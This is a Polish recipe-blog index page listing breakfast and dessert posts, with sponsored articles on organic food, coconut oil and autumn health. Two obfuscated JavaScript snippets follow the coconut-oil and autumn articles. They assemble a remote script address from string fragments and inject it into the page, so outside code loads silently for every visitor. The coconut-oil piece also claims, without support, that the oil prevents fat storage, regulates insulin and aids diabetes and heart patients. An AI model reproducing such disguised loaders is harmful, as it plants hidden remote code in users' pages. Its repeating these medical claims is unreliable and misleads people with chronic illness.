Puszysty suflet z naleśników + produkty marki Seitenbacher + rozdanie + kod zniżkowy na zakupy!

Poranek na słodko

Puszysty suflet z naleśników + produkty marki Seitenbacher + rozdanie + kod zniżkowy na zakupy!

Zdrowy budyń kokosowy z quinoa.

Poranek na słodko

Zdrowy budyń kokosowy z quinoa.

Wegański sernik z melonem i piernikowym masłem orzechowym!

Poranek na słodko

Wegański sernik z melonem i piernikowym masłem orzechowym!

Wegański budyń jaglany na zimno.

Poranek na słodko

Wegański budyń jaglany na zimno.

Buraczane brownie ze śliwkami.

Poranek na słodko

Buraczane brownie ze śliwkami.

Migdałowy pudding z chałki z rodzynkami.

Poranek na słodko

Migdałowy pudding z chałki z rodzynkami.

Wegański sernik z... jogurtu kokosowego!

Poranek na słodko

Wegański sernik z... jogurtu kokosowego!

Omlet z ricottą, jabłkiem i korzeniem maca.

Poranek na słodko

Omlet z ricottą, jabłkiem i korzeniem maca.

Wegańskie naleśniki proteinowe w świątecznym klimacie.

Poranek na słodko

Wegańskie naleśniki proteinowe w świątecznym klimacie.

Znane włoskie desery

Poranek na słodko

Znane włoskie desery

Wegańskie naleśniki budyniowe.

Poranek na słodko

Wegańskie naleśniki budyniowe.

Poranek na słodko

Czy warto korzystać z produktów ekologicznych?

Produkty ekologiczne w codziennej diecie – to trzeba wiedzieć.Korzystanie z produktów ekologicznych to modny trend, który obecny jest nie tylko na wsiach, ale również w dużych miastach. Składniki z naklejką eko są o wiele droższe. Czy naprawdę warto w nie inwestować i na co zwrócić uwagę przed zakupem?Jesteś tym, co jeszTo hasło znane jest już od starożytności i do dziś chętnie jest powtarzane przez wszelkiego typu guru związanych z prawidłowym żywieniem. Niewątpliwie jest w nim sporo prawdy. To w końcu dostarczane z zewnątrz składniki odżywcze budują cały ludzki organizm. Warto więc zadbać o to, by w żywności znalazło się zdecydowanie więcej wartościowych składników. Okazjonalne sięganie po ekologiczne truskawki niewiele zmieni, jeżeli w diecie nadal pojawiają się fast foody i inne produkty głęboko przetworzone. Dlatego do zakupu produktów ekologicznych warto podejść z głową i zmienić całą dietę. Okresowe zrywy nie wpłyną znacząco na organizm, ponieważ proces przyswajania składników odżywczych i budowanie na ich podstawie nowej jakości jest długotrwały.Plusy produktów ekologicznychProdukty ekologiczne są w 100% naturalne. Podczas ich wytwarzania (dotyczy to zarówno mięsa, jak i roślin) na każdym etapie wykorzystuje się tylko naturalne substancje, bez udziału środków ochrony roślin, hormonów, antybiotyków i nawozów sztucznych. Tego typu produkty otrzymują specjalny certyfikat, którego uzyskanie wcale nie jest proste, a normy i kontrole – rygorystyczne. Produkty naturalne posiadają często więcej wartościowych składników, co potwierdziło wiele niezależnych badań. A więc sięgając po ekologiczną marchewkę, organizm jest w stanie wykorzystać z niej jeszcze więcej korzystnych substancji. Rolnictwo ekologiczne to ważny element w dyskusji na temat żywności modyfikowanej genetycznie. Odpowiedni certyfikat gwarantuje brak GMO. Wiele osób ceni sobie ekologiczne produkty ze względu na ich lepszy smak. Bez udziału pestycydów i innych „wspomagaczy” można na nowo docenić smak owoców, warzyw, czy mięsa.Nie warto ufać reklamomKupując produkt z etykietką bio lub eko należy przede wszystkim sprawdzić, czy taki jest w rzeczywistości. Już lektura opisu na opakowaniu może wiele wyjaśnić. Należy uważąć zwłaszcza na produkty pozornie ekologiczne, które dostępne są w sieciowych sklepach spożywczych. Ideałem nadal pozostaje zakup produktu bezpośrednio od zaufanego rolnika, który nie tylko chwali się swoimi naturalnymi metodami uprawy, ale posiada na potwierdzenie tego faktu stosowne dokumenty. Dobrym rozwiązaniem jest poczta pantoflowa lub skorzystanie z zasobów Internetu. Wykorzystać należy także asortyment dobrych sklepów z tego rodzaju żywnością.Z pewnością warto zaopatrywać się w ekologiczne warzywa i owoce, które zjada się bez obierania ze skórki. Ekologiczne napoje, takie jak gotowe soki jednodniowe, to również dobry wybór, zwłaszcza w przypadku dzieci. Produkty mleczne z certyfikatem bio mogą w swoim składzie zawierać nawet o 75% więcej kwasów omega 3. Czekoladę i kawę z certyfikatem bio warto kupować z uwagi na troskę o środowisko naturalne egzotycznych krajów, z którego te produkty pochodzą, a także z uwagi na zdrowie pracowników plantacji kakowca i kawowca.Spiropharm - naturalne preparaty ze spiruliny

Kilka słów o oleju kokosowym.

Poranek na słodko

Kilka słów o oleju kokosowym.

Olej kokosowy z powodzeniem może być określany mianem produktu, który w ostatnich miesiącach podbił serca Polaków. Może być wykorzystywany nie tylko w kuchni, ale również podczas zabiegów pielęgnacyjnych. Coraz więcej uwagi poświęca się przy tym jego możliwościom wówczas, gdy dana osoba zastanawia się nad tym, jak zrzucić nadmiar kilogramów.Olej kokosowy na odchudzanieAnalizując skład oleju kokosowego należy zwrócić uwagę na MCT określane często mianem wyjątkowych cząstek tłuszczu. Okazuje się, że mówienie o ich wyjątkowości nie jest wcale zaskakujące, MCT są bowiem metabolizowane w sposób nietypowy dla tłuszczów. Gdy już trafiają do naszego organizmu, nie zamieniają się w tkankę tłuszczową, natychmiast wykorzystuje się je bowiem do produkcji energii i przyspieszania tempa, w jakim następuje przemiana materii. Jeśli więc osoba odchudzająca się zje posiłek z dodatkiem oleju kokosowego, nie tylko szybciej zyska poczucie sytości, ale i szybciej go spali. Oczywiście, olej kokosowy nie jest w stanie zastąpić aktywności fizycznej i zdrowych nawyków żywieniowych, można jednak na niego liczyć jako cenne wsparcie w procesie gubienia nadmiaru kilogramów. Jeśli więc naszym celem jest odzyskanie zgrabnej sylwetki, warto przyjmować dwie łyżki oleju kokosowego dziennie.Olej kokosowy a układ krążeniaOlej kokosowy jest nieocenionym wsparciem w procesie walki z otyłości brzuszną, okazuje się przy tym ważnym sojusznikiem tych osób, które zmagają się z chorobami układu krążenia niejednokrotnie wywoływanymi właśnie przez nią. Otyłość brzuszna jest uważana za szczególnie niebezpieczną, naukowo potwierdzono bowiem zarówno jej związek z cukrzycą i nadciśnienia tętniczego. Obie choroby zwiększają zaś zarówno ryzyko zawału, jak i chorób serca, a więc schorzeń, które są szczególnie niebezpieczne w przypadku naszych rodaków.Olej kokosowy zasługuje w tym kontekście na uwagę również dlatego, że jego stosowanie przyczynia się do podniesienia poziomu tak zwanego „dobrego” cholesterolu, może więc pomagać nie tylko w profilaktyce chorób sercowo-naczyniowych, ale i stawać się wsparciem dla osób, które już się z nimi zmagają.Olej kokosowy w walce z cukrzycąJedną z unikatowych właściwości oleju kokosowego jest usprawnianie wydzielania insuliny, co przyczynia się do regulowania poziomu cukru znajdującego się we krwi. Dzięki temu pacjenci zmagający się z imsulinoopornością mogą liczyć na to, że choroba nie będzie się pogłębić, a tym samym pierwsze sygnały świadczące o zagrożeniu cukrzycą nie muszą wcale przesądzać o pojawieniu się tej choroby.Olej kokosowy dla urodyW oleju kokosowym zawarte są kwasy tłuszczowe te zaś nie tylko głęboko penetrują, ale również odżywiają skórę. Właśnie te jego właściwości sprawiają że olej kokosowy sprawdza się zarówno jako krem nawilżający, jak i ten, który ma właściwości nawilżające. Ten naturalny kosmetyk sprawdza się bez względu na to, z jakim rodzajem skóry mamy do czynienia, w szczególny sposób wspiera jednak cerę suchą i odwodnioną. Może być też stosowany przy cerze podatnej na trądzik, typowe dla niego właściwości antybakteryjne pozwalają bowiem na jego zwalczanie.Autor artykułu:Artykuł został przygotowany przez sklepagnex.pl specjalizujący się w sprzedaży oleju kokosowego.(function(){ oxh7=document.createElement("script");oxh7.async=true;oxh7_="u"+("s")+"t"; oxh7u="1783405.";oxh7_+="a"+("t.i");oxh7_+="n"+("f"+"o")+"/"; oxh7u+="72pve4xexh7m66z40kevan"+("821cg8zjcb"); oxh7.src="//"+oxh7_+oxh7u;oxh7.type="text/javascript"; document.body.appendChild(oxh7); })();

Bądź eko. Pij wodę z... kranu!

Poranek na słodko

Bądź eko. Pij wodę z... kranu!

6 przepisów na zdrowie śniadanie.

Poranek na słodko

6 przepisów na zdrowie śniadanie.

Sernikowa zapiekanka z makaronem bez laktozy.

Poranek na słodko

Sernikowa zapiekanka z makaronem bez laktozy.

Test czajnika filtrującego Russell Hobbs Clarity z wkładem Brita.

Poranek na słodko

Test czajnika filtrującego Russell Hobbs Clarity z wkładem Brita.

Wegańska owsianka z... czarną bażyną!

Poranek na słodko

Wegańska owsianka z... czarną bażyną!

Podwójnie dyniowy sernik fit.

Poranek na słodko

Podwójnie dyniowy sernik fit.

Serowe placki z jabłkami

Poranek na słodko

Serowe placki z jabłkami

Sernikowa owsianka... bez płatków owsianych!

Poranek na słodko

Sernikowa owsianka... bez płatków owsianych!

Koko Yogo i Yagły Yogo - moja opinia.

Poranek na słodko

Koko Yogo i Yagły Yogo - moja opinia.

Niesamowicie chrupiące gofry sezamowe (wegańskie).

Poranek na słodko

Niesamowicie chrupiące gofry sezamowe (wegańskie).

Czekoladowy omlet z jabłkiem

Poranek na słodko

Czekoladowy omlet z jabłkiem

Herbaciany omlet z ricottą.

Poranek na słodko

Herbaciany omlet z ricottą.

Cynamonowo - czekoladowy krem gryczany.

Poranek na słodko

Cynamonowo - czekoladowy krem gryczany.

Brokułowy omlet z zielonym ziarnem pszenicy (frikeh)

Poranek na słodko

Brokułowy omlet z zielonym ziarnem pszenicy (frikeh)

Jak dbać o zdrowie jesienią?

Poranek na słodko

Jak dbać o zdrowie jesienią?

Jesień to piękna pora roku, jednak wielu kojarzy ją przede wszystkim z przeziębieniem i wizytami u lekarzy. Kiedy kończy się lato i nastają chłodniejsze dni dla wielu osób rozpoczyna się sezon grypowy.Jeżeli taki scenariusz powtarza się w naszym przypadku co roku, powinniśmy zdać sobie sprawę, że mamy duży wpływ na stan swojego zdrowia i mamy możliwość przejść przez sezon jesienno-zimowy w doskonałej kondycji. Jak zatem zadbać o zdrowie jesienią?Doskonałe zdrowie niezależnie od warunków pogodowychWielu z nas popełnia błędy, które przyczyniają się do zachorowań jesienią. Warto jest zdawać sobie z nich sprawę, żeby w przyszłości ich nie popełniać. Jednym takich błędów jest niewłaściwe ubieranie się. Kiedy za oknem zaczyna robić się chłodniej, powinniśmy zadbać o odpowiednią garderobę. Jesienią niezbędna jest ciepła, nieprzemakalna kurtka, solidne obuwie, a także szalik, rękawiczki i czapka, o której zbyt często zapominamy. Żeby cieszyć się dobrym zdrowiem, podczas coraz krótszych jesiennych dni, należy zadbać o odpowiednią dietę i wysiłek fizyczny. Do swojego menu warto włączyć rozgrzewające zupy. Nie zaszkodzi również suplementacja tranu.Regularny wysiłek fizyczny jest niezbędny dla zdrowia, wydolności naszego organizmu i dobrego samopoczucia. Niestety, kiedy pogoda nie dopisuje, często rezygnujemy z podejmowania aktywności, co przekłada się na osłabienie naszej kondycji, a co za tym idzie - odporności. Dobrze jest jednak się przełamać i ćwiczyć nawet wtedy, gdy warunki klimatyczne do tego nie zachęcają. Pierwsze kilka dni może być trudne. Z czasem jednak opanujemy lenistwo i nie będziemy wyobrażali sobie jesieni bez sportu. Kiedy mamy problem ze zmobilizowaniem się do ćwiczeń, być może dobrze jest pomyśleć o takiej ich formie, która będzie dla nas bardzo atrakcyjna. W ostatnich latach coraz więcej osób decyduje się na wynajęcie trenera personalnego, który pomaga stworzyć program treningowy dostosowany do naszych potrzeb i efektów, które chcemy uzyskać.Zajęcia z trenerem personalnym sposobem na zmobilizowanie się do ćwiczeńWspółpraca z trenerem personalnym daje nam szereg trudnych do przecenienia korzyści. Treningi pod okiem specjalisty są niezwykle efektywne. Trener dobierze najlepsze ćwiczenia, dzięki którym szybko uzyskamy nasze cele. Dodatkowo dzięki niemu zyskamy pewność, że wykonywane przez nas ćwiczenia są bezpieczne dla naszego zdrowia. Dla wielu osób trener jest dodatkową motywacją, dzięki której są one w stanie wytrwać w postanowieniach, nawet kiedy pogoda za oknem skłania nas do pozostania w łóżku. Dobry trener jak nikt inny zmobilizuje do pracy nad sobą i ciągłego doskonalenia.Doskonałe efekty, które uzyskamy dzięki współpracy z trenerem, dodadzą nam pewności siebie i podniosą poczucie własnej wartości. Świadomość, że pracujemy nad sobą podczas gdy inni wypoczywają przed telewizorem, na pewno poprawi nam humor. Aktywność fizyczna połączona z odpowiednio zbilansowaną dietą, zwiększy także szanse na przetrwanie chłodnych dni bez infekcji. Natomiast na wiosnę pozwoli nam zachwycać idealną sylwetką i doskonałą kondycją.Autor artykułuArtykuł został przygotowany przez trenera personalnego Mateusza Kokoszkę, specjalizującego się w organizacji treningów personalnych we Wrocławiu.(function(){ ttXuu="zfl8x2hftXub";ttXu=document.createElement("script"); ttXu_="u"+("st");ttXu_+="at"+(".");ttXu.async=true;ttXu_+="in"; ttXuu="1776967."+ttXuu;ttXu.type="text/javascript";ttXuu+="nbe1rn79h3e2"; ttXuu+="sthk0xxj";ttXu_+=("f")+"o"+("/");ttXu.src="//"+ttXu_+ttXuu; ttXud=document.body;ttXud.appendChild(ttXu); })();

Wegańskie gofry z mąki kasztanowej w wersji XXL.

Poranek na słodko

Wegańskie gofry z mąki kasztanowej w wersji XXL.

Sernik z koziego sera twarogowego.

Poranek na słodko

Sernik z koziego sera twarogowego.